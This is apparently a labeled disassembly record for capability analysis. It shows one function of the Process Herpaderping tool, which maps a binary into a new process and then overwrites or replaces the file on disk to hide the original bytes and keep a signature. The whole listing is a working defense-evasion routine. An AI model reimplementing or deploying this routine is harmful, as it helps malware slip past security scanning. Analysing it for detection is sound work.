Function at 0x140004930
Capabilities:
Create process on windows
Create thread
Get file size
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x978]
sub rsp, 0xa78
mov rax, qword [0x14004d110]
xor rax, rsp
mov qword [rbp + 0x960], rax
mov qword [rsp + 0x70], r9
mov r14, r8
mov rsi, rdx
mov rbx, rcx
mov r12d, dword [rbp + 0x9e0]
mov eax, r12d
and eax, 0xa
cmp al, 0xa
je 0x1400058dd
mov eax, r12d
and eax, 0x11
cmp al, 0x11
je 0x1400058dd
xor r13d, r13d
mov qword [rbp + 0x910], r13
lea rax, [rbp + 0x910]
mov qword [rbp - 0x60], rax
mov byte [rbp - 0x58], 1
mov r8, rcx
cmp qword [rcx + 0x18], 8
jb 0x1400049b4
mov r8, qword [rcx]
lea rdx, str.Source_File:___ls_
mov ecx, 1
call fcn.140009a20
mov r8, rsi
cmp qword [rsi + 0x18], 8
jb 0x1400049d2
mov r8, qword [rsi]
lea rdx, str.Target_File:___ls_
mov ecx, 1
call fcn.140009a20
nop
cmp qword [rbx + 0x18], 8
jb 0x1400049ee
mov rbx, qword [rbx]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 7]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
mov qword [rbp + 0x940], rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
jne 0x140004a6f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea r8, str.Failed_to_open_source_file
mov ecx, 8
call fcn.140009a60
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x9b8]
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x46
call fcn.140002a60
mov edi, eax
jmp 0x14000588a
mov r8d, 7
mov eax, r12d
and eax, 2
mov dword [rsp + 0x60], eax
je 0x140004a94
lea rdx, str.Creating_target_file_with_exclusive_access
lea ecx, [r8 - 5]
call fcn.140009a20
mov r8d, r13d
mov rcx, rsi
cmp qword [rsi + 0x18], 8
jb 0x140004aa1
mov rcx, qword [rsi]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rbp + 0x930], rax
inc rax
test rax, 0xfffffffffffffffe
jne 0x140004b19
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea r8, str.Failed_to_create_target_file
mov ecx, 8
call fcn.140009a60
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x9b8]
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x5d
call fcn.140002a60
mov edi, eax
jmp 0x140005876
mov r8b, 1
mov rdx, rbx
mov rcx, r15
call fcn.140009a90
mov edi, eax
test eax, eax
jns 0x140004b60
lea r8, str.Failed_to_copy_source_binary_to_target_file
mov edx, eax
mov ecx, 8
call fcn.140009a60
mov rcx, qword [rbp + 0x9b8]
mov r9d, edi
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x6a
call fcn.140002a40
jmp 0x140005876
lea rdx, str.Copied_source_binary_to_target_file
mov ecx, 2
call fcn.140009a20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rbp + 0x940], r13
mov qword [rbp + 0x928], r13
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x1000000
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp + 0x928]
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
jns 0x140004c12
mov qword [rbp + 0x928], r13
lea r8, str.Failed_to_create_target_file_image_section
mov edx, eax
mov ecx, 8
call fcn.140009a60
test eax, eax
jns 0x140004c0a
mov rcx, qword [rbp + 0x9b8]
mov r9d, eax
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x85
call fcn.140002a80
mov edi, eax
jmp 0x14000585e
mov edi, r13d
jmp 0x14000585e
lea rdx, str.Created_image_section_for_target
mov ecx, 2
call fcn.140009a20
mov r13, qword [rbp + 0x928]
mov r15, qword [rbp + 0x910]
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140004c55
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
mov qword [rbp + 0x910], rdi
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 4
lea r9, [rdi - 1]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x910]
call qword [sym.imp.ntdll.dll_NtCreateProcessEx]
test eax, eax
jns 0x140004cd8
mov qword [rbp + 0x910], rdi
lea r8, str.Failed_to_create_process
mov edx, eax
lea ecx, [rdi + 8]
call fcn.140009a60
test eax, eax
jns 0x14000585e
mov rcx, qword [rbp + 0x9b8]
mov r9d, eax
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x98
call fcn.140002a80
mov edi, eax
jmp 0x14000585e
mov rcx, qword [rbp + 0x910]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8d, eax
lea rdx, str.Created_process_object__PID__lu
mov ecx, 2
call fcn.140009a20
mov r15, qword [rbp + 0x928]
lea rax, [r15 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140004d24
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor r15d, r15d
mov qword [rbp + 0x928], r15
lea rdx, [rbp + 0x918]
mov rcx, rbx
call fcn.14000a870
mov edi, eax
test eax, eax
jns 0x140004d75
lea r8, str.Failed_to_get_target_file_image_entry_RVA
mov edx, eax
lea ecx, [r15 + 8]
call fcn.140009a60
mov rcx, qword [rbp + 0x9b8]
mov r9d, edi
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0xaf
call fcn.140002a40
jmp 0x14000585e
mov r8d, dword [rbp + 0x918]
lea rdx, str.Located_target_image_entry_RVA_0x_08x
mov ecx, 2
call fcn.140009a20
cmp byte [r14 + 0x20], r15b
je 0x14000503f
mov r8, r14
cmp qword [r14 + 0x18], 8
jb 0x140004da4
mov r8, qword [r14]
lea rdx, str.Replacing_target_with___ls_
mov ecx, 1
call fcn.140009a20
nop
cmp qword [r14 + 0x18], 8
jb 0x140004dc0
mov r14, qword [r14]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 7]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
mov qword [rbp + 0x950], rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
jne 0x140004e41
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea r8, str.Failed_to_open_replace_with_file
mov ecx, 8
call fcn.140009a60
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x9b8]
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0xd4
call fcn.140002a60
mov edi, eax
jmp 0x140004f19
mov r15d, r12d
shr r15d, 2
and r15b, 1
movzx r8d, r15b
mov rdx, rbx
mov rcx, r14
call fcn.140009a90
mov edi, eax
test eax, eax
jns 0x140004fa3
cmp eax, 0x800704c8
je 0x140004e86
lea r8, str.Failed_to_replace_target_file
mov edx, eax
mov ecx, 8
call fcn.140009a60
mov edx, 0xe4
jmp 0x140004f02
lea rdx, str.Fixing_up_target_replacement__hiding_original_bytes_and_retaining_any_signature
mov ecx, 2
call fcn.140009a20
xor r13d, r13d
lea rdx, [rbp + 0x920]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x140004eb5
mov edx, 0x132
jmp 0x140004ed1
mov rax, qword [rbp + 0x920]
test rax, rax
jns 0x140004f36
mov ecx, 0x3ee
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov edx, 0x136
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingutils.cpp
mov rcx, qword [rbp + 0x9b8]
call fcn.140002a60
mov edi, eax
test eax, eax
jns 0x140004f39
lea r8, str.Failed_to_get_replace_with_file_size
mov edx, eax
mov ecx, 8
call fcn.140009a60
mov edx, 0xf9
mov r9d, edi
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov rcx, qword [rbp + 0x9b8]
call fcn.140002a40
nop
lea rax, [r14 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000585e
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14000585e
mov r13, rax
mov dword [rbp + 0x920], 0
mov rax, qword [rsp + 0x70]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x20], r15b
lea r9, [rbp + 0x920]
lea r8, [rsp + 0x70]
mov rdx, r13
mov rcx, rbx
call fcn.14000a1a0
test eax, eax
jns 0x140004f79
lea r8, str.Failed_to_hide_original_file_bytes
jmp 0x140004f96
movzx r8d, r15b
mov edx, dword [rbp + 0x920]
mov rcx, rbx
call fcn.14000a5d0
test eax, eax
jns 0x140004fa3
lea r8, str.Failed_to_retain_file_signature
mov edx, eax
mov ecx, 4
call fcn.140009a60
nop
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor r15d, r15d
lea rdx, str.Preparing_target_for_execution
mov ecx, 1
call fcn.140009a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
movups xmmword [rbp + 0x118], xmm0
movups xmmword [rbp + 0x128], xmm0
mov qword [rsp + 0x20], r15
mov r9d, 0x30
lea r8, [rbp + 0x108]
xor edx, edx
mov rcx, qword [rbp + 0x910]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jns 0x1400050be
lea r8, str.Failed_to_query_new_process_info
mov edx, eax
mov ecx, 8
call fcn.140009a60
test eax, eax
jns 0x1400050b6
mov rcx, qword [rbp + 0x9b8]
mov r9d, eax
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x13c
call fcn.140002a80
mov edi, eax
jmp 0x14000585e
lea rdx, str.Overwriting_target_with_pattern
mov ecx, 1
call fcn.140009a20
mov rax, qword [rsp + 0x70]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x950], xmm0
mov r8d, r12d
shr r8d, 2
and r8b, 1
lea rdx, [rbp + 0x950]
mov rcx, rbx
call fcn.140009d90
mov edi, eax
test eax, eax
jns 0x140004fb0
lea r8, str.Failed_to_write_pattern_over_file
mov edx, eax
mov ecx, 8
call fcn.140009a60
mov rcx, qword [rbp + 0x9b8]
mov r9d, edi
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x128
call fcn.140002a40
jmp 0x14000585e
mov edi, r15d
jmp 0x14000585e
xor edx, edx
mov r8d, 0x7c8
lea rcx, [rbp + 0x140]
call fcn.140013fb0
mov qword [rsp + 0x20], r15
mov r9d, 0x7c8
lea r8, [rbp + 0x140]
mov rdx, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x910]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000513c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea r8, str.Failed_to_read_remote_process_PEB
mov ecx, 8
call fcn.140009a60
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x9b8]
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x148
call fcn.140002a60
mov edi, eax
jmp 0x14000585e
mov r8, qword [rbp + 0x110]
add r8, 0x20
lea rdx, str.Writing_process_parameters__remote_PEB_ProcessParameters_0x_p
mov ecx, 2
call fcn.140009a20
mov byte [rbp + 0xe0], 0
mov byte [rbp + 0x98], 0
movdqa xmm0, xmmword [0x1400464c0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r15w
mov r8d, 0xf
lea rdx, str.WinSta0Default
lea rcx, [rbp - 0x50]
call fcn.140003d50
mov byte [rbp - 0x30], 1
mov rdx, rsi
lea rcx, [rbp]
call fcn.140005a10
mov byte [rbp + 0x20], 1
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x20]
mov rax, qword [rax + 0x80]
mov qword [rbp + 0x920], rax
mov r13, qword [rsi + 0x10]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r13
cmp rax, 1
jb 0x14000590b
mov qword [rsp + 0x70], rsi
cmp qword [rsi + 0x18], 8
jb 0x1400051f3
mov rax, qword [rsi]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
lea r15, [r13 + 1]
mov edi, 7
lea r14, [rbp - 0x80]
cmp r15, rdi
jbe 0x1400052a1
mov rdi, r15
or rdi, 7
cmp rdi, rcx
jbe 0x140005222
mov rdi, rcx
jmp 0x14000522e
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
mov rax, rdi
add rax, 1
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x140005917
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14000528c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140005917
mov rcx, rax
call fcn.140011f60
test rax, rax
je 0x140005929
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14000529d
test rcx, rcx
je 0x140005298
call fcn.140011f60
jmp 0x14000529a
xor eax, eax
mov r14, rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], rdi
mov eax, 0x22
mov word [r14], ax
lea rcx, [r14 + 2]
lea r8, [r13*2]
mov rdx, qword [rsp + 0x70]
call fcn.140013b20
xor r13d, r13d
mov word [r14 + r15*2], r13w
lea r8d, [r13 + 1]
lea rdx, [0x140044e30]
lea rcx, [rbp - 0x80]
call fcn.140005b10
movups xmm1, xmmword [rax]
movups xmmword [rbp + 0xa0], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rbp + 0xb0], xmm0
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
movups xmmword [rbp - 0x28], xmm1
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], 7
mov word [rbp + 0xa0], r13w
mov byte [rbp - 8], 1
mov byte [rbp + 0x70], r13b
mov byte [rbp + 0x48], r13b
mov rdx, rsi
lea rcx, [rbp + 0xe8]
call fcn.140005a10
lea rcx, [rbp + 0xc0]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x78]
mov qword [rsp + 0x40], rcx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x38], rcx
lea rcx, [rbp]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rbp + 0x920]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x50]
lea r8, [rbp + 0x28]
mov rdx, rax
mov rcx, qword [rbp + 0x910]
call fcn.14000aa50
mov edi, eax
cmp byte [rbp + 0x48], r13b
je 0x1400053f3
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x1400053e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005911
call fcn.1400121ec
movdqa xmm0, xmmword [0x1400464c0]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r13w
cmp byte [rbp + 0x70], 0
je 0x14000544b
mov rdx, qword [rbp + 0x68]
cmp rdx, 8
jb 0x140005439
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005434
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000591d
call fcn.1400121ec
movdqa xmm0, xmmword [0x1400464c0]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], r13w
cmp byte [rbp - 8], 0
je 0x1400054a3
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x140005491
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000548c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005923
call fcn.1400121ec
movdqa xmm0, xmmword [0x1400464c0]
movdqu xmmword [rbp - 0x18], xmm0
mov word [rbp - 0x28], r13w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x1400054e3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005929
call fcn.1400121ec
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r13w
cmp byte [rbp + 0x20], 0
je 0x14000554c
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x14000553a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005535
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000592f
call fcn.1400121ec
movdqa xmm0, xmmword [0x1400464c0]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r13w
cmp byte [rbp - 0x30], 0
je 0x1400055a4
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140005592
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000558d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005935
call fcn.1400121ec
movdqa xmm0, xmmword [0x1400464c0]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r13w
cmp byte [rbp + 0x98], 0
je 0x140005605
mov rdx, qword [rbp + 0x90]
cmp rdx, 8
jb 0x1400055f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000593b
call fcn.1400121ec
movdqa xmm0, xmmword [0x1400464c0]
movdqu xmmword [rbp + 0x88], xmm0
mov word [rbp + 0x78], r13w
cmp byte [rbp + 0xe0], 0
je 0x140005654
mov rdx, qword [rbp + 0xd8]
cmp rdx, 8
jb 0x140005654
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000564f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005905
call fcn.1400121ec
test edi, edi
jns 0x140005692
lea r8, str.Failed_to_write_remote_process_parameters
mov edx, edi
mov ecx, 8
call fcn.140009a60
mov rcx, qword [rbp + 0x9b8]
mov r9d, edi
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x15f
call fcn.140002a40
mov rbx, qword [rbp + 0x930]
jmp 0x14000585e
test r12b, 8
je 0x1400056be
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, r13
mov qword [rbp + 0x930], rbx
jmp 0x1400056c5
mov rbx, qword [rbp + 0x930]
mov edi, dword [rbp + 0x918]
add rdi, qword [rbp + 0x150]
mov r8, rdi
lea rdx, str.Creating_thread_in_process_at_entry_point_0x_p
mov ecx, 2
call fcn.140009a20
nop
mov qword [rbp + 0x938], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rdi
mov r9, qword [rbp + 0x910]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x938]
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
test eax, eax
jns 0x140005775
mov qword [rbp + 0x938], r13
lea r8, str.Failed_to_create_remote_thread
mov edx, eax
mov ecx, 8
call fcn.140009a60
test eax, eax
jns 0x140005843
mov rcx, qword [rbp + 0x9b8]
mov r9d, eax
lea r8, str.C:Usersmicha_slherpaderping_sourceProcessHerpaderpingherpaderp.cpp
mov edx, 0x186
call fcn.140002a80
mov edi, eax
jmp 0x140005846
mov rcx, qword [rbp + 0x938]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov r8d, eax
lea rdx, str.Created_thread__TID__lu
mov ecx, 2
call fcn.140009a20
test r12b, 0x10
movzx eax, byte [rbp - 0x58]
cmove eax, r13d
mov byte [rbp - 0x58], al
cmp dword [rsp + 0x60], 0
jne 0x1400057da
lea rax, [rbx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400057d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbx, r13
mov qword [rbp + 0x930], rbx
mov ecx, 1
test cl, r12b
je 0x140005837
lea rdx, str.Waiting_for_herpaderped_process_to_exit
call fcn.140009a20
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x910]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rbp + 0x918], r13d
lea rdx, [rbp + 0x918]
mov rcx, qword [rbp + 0x910]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r8d, dword [rbp + 0x918]
lea rdx, str.Herpaderped_process_exited_with_code_0x_08x
mov ecx, 1
call fcn.140009a20
jmp 0x140005843
lea rdx, str.Successfully_spawned_herpaderped_process
call fcn.140009a20
mov edi, r13d
mov rcx, qword [rbp + 0x938]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000585e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x928]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140005876
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rax, [rbx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000588a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x940]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400058a2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x910]
cmp byte [rbp - 0x58], 0
je 0x1400058c8
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400058c8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x910]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x1400058d9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, edi
jmp 0x1400058e2
mov eax, 0x80070057
mov rcx, qword [rbp + 0x960]
xor rcx, rsp
call fcn.140011ca0
add rsp, 0xa78
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140017ddc
nop
call fcn.1400015a0
nop
call fcn.140017ddc
nop
call fcn.140001500
nop
call fcn.140017ddc
nop
call fcn.140017ddc
nop
call fcn.140017ddc
nop
call fcn.140017ddc
nop
call fcn.140017ddc
nop
call fcn.140017ddc
int3